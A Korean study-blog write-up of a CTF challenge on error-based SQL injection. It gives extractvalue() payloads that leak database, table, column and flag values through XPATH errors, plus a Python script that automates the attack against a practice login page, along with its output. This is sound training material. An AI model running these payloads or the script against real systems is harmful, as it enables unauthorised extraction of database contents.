IT 성장기 (교육이수)/CTF 문제풀이

[모의해킹 CTF] Error Based SQLi4

eezy 2024. 6. 3. 23:58

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.

 

Error Based SQLi4

목차

1. SQL Injection Point 찾기

2. Data 추출 코드

3. Python 코드

 

SQL Injection Point 찾기

AND, SELECT 문 사용 가능 확인 : 로그인 성공

normaltic' and (select 'test'='test') and '1'='1

 

Extractvalue 문 사용 가능 확인 : Error 발생 성공

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1

 

 

 

Data 추출 코드

1. 데이터베이스 명 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select database() limit 1 offset 0))) and '1'='1"

2. Table 명 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_1' limit 1 offset 0))) and '1'='1"

3. Column 명 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset 0))) and '1'='1",

4. Data 추출

'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1"
#{offset} = 0 ~ 8 숫자를 의미한다. 컬럼 이름은 flag1, flag2, flag3...

Python 코드

find_database 함수에서 UserId 는 Column 이름을 찾는 것으로 작성 되어 있다.

Table 이름을 찾는다면, UserId의 입력값을 변경해주면 된다.

import requests
import re

print("[*] Sql Injection4 ")

url = 'http://ctf.segfaulthub.com:7777/sqli_2_1/login.php'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}
#database 안의 table, column 찾는 쿼리
def find_database(url, headers, session):
    offset = 0
    for offset in range (9):  # offset 값을 0부터 시작하여 증가시키며 반복

        data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset {offset}))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }
        
        response = requests.post(url, headers=headers, data=data)

        if response.status_code == 200:
            match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
            if match:
                print(f"Offset {offset}: {match.group(0)}")
            else:
                match = re.search (r'User Name :.*', response.text)
                if match:
                    print(match.group(0))
                else:
                    print("Required text not found in the response.")
        else:
            print(f"Failed to get response: {response.status_code}")
            break
        
#테이블 안에서 여러 컬럼의 값을 리턴하는 쿼리
def find_flag_in_flagtable(url, headers, session):
    matches = []  # 모든 match.group(0) 값을 저장할 리스트

    offset = 0
    for offset in range (9):  # offset 값을 0부터 시작하여 증가시키며 반복

        data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }

        response = requests.post(url, headers=headers, data=data)

        if response.status_code == 200:
            match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
            if match:
                print(f"Offset {offset}: {match.group(0)}")
                parts = match.group(0).split("Could not update data: XPATH syntax error: ':")
                if len(parts) > 1: # 길이를 지정해줌으로 parts에 데이터가 없는 경우, 오류가 발생하는것을 방지하는 목적이다.
                    matches.append(parts[1].rstrip("'"))  # ':' 뒤의 내용만 리스트에 추가
                offset += 1  # offset 값을 증가시킴
            else:
                match = re.search (r'User Name :.*', response.text)
                if match:
                    print(match.group(0))
                else:
                    print("Required text not found in the response.")
        else:
            print(f"Failed to get response: {response.status_code}")
            break

    # 모든 match.group(0) 값을 한 줄로 출력
    print("".join(matches))

session = requests.Session()

result = find_database(url, headers, session)
result = find_flag_in_flagtable(url, headers, session)
print(result)

 

파이썬 코드 실행 값

더보기
[*] Sql Injection4
Offset 0: Could not update data: XPATH syntax error: ':flag1'
Offset 1: Could not update data: XPATH syntax error: ':flag2'
Offset 2: Could not update data: XPATH syntax error: ':flag3'
Offset 3: Could not update data: XPATH syntax error: ':flag4'
Offset 4: Could not update data: XPATH syntax error: ':flag5'
Offset 5: Could not update data: XPATH syntax error: ':flag6'
Offset 6: Could not update data: XPATH syntax error: ':flag7'
Offset 7: Could not update data: XPATH syntax error: ':flag8'
Required text not found in the response.
Offset 0: Could not update data: XPATH syntax error: ':segfault{1'
Offset 1: Could not update data: XPATH syntax error: ':you_'
Offset 2: Could not update data: XPATH syntax error: ':must_'
Offset 3: Could not update data: XPATH syntax error: ':concat_'
Offset 4: Could not update data: XPATH syntax error: ':this_'
Offset 5: Could not update data: XPATH syntax error: ':string_'
Offset 6: Could not update data: XPATH syntax error: ':good'
Offset 7: Could not update data: XPATH syntax error: ':job}'
Offset 8: Could not update data: Unknown column 'flag9' in 'field list'
segfault{1you_must_concat_this_string_goodjob}
None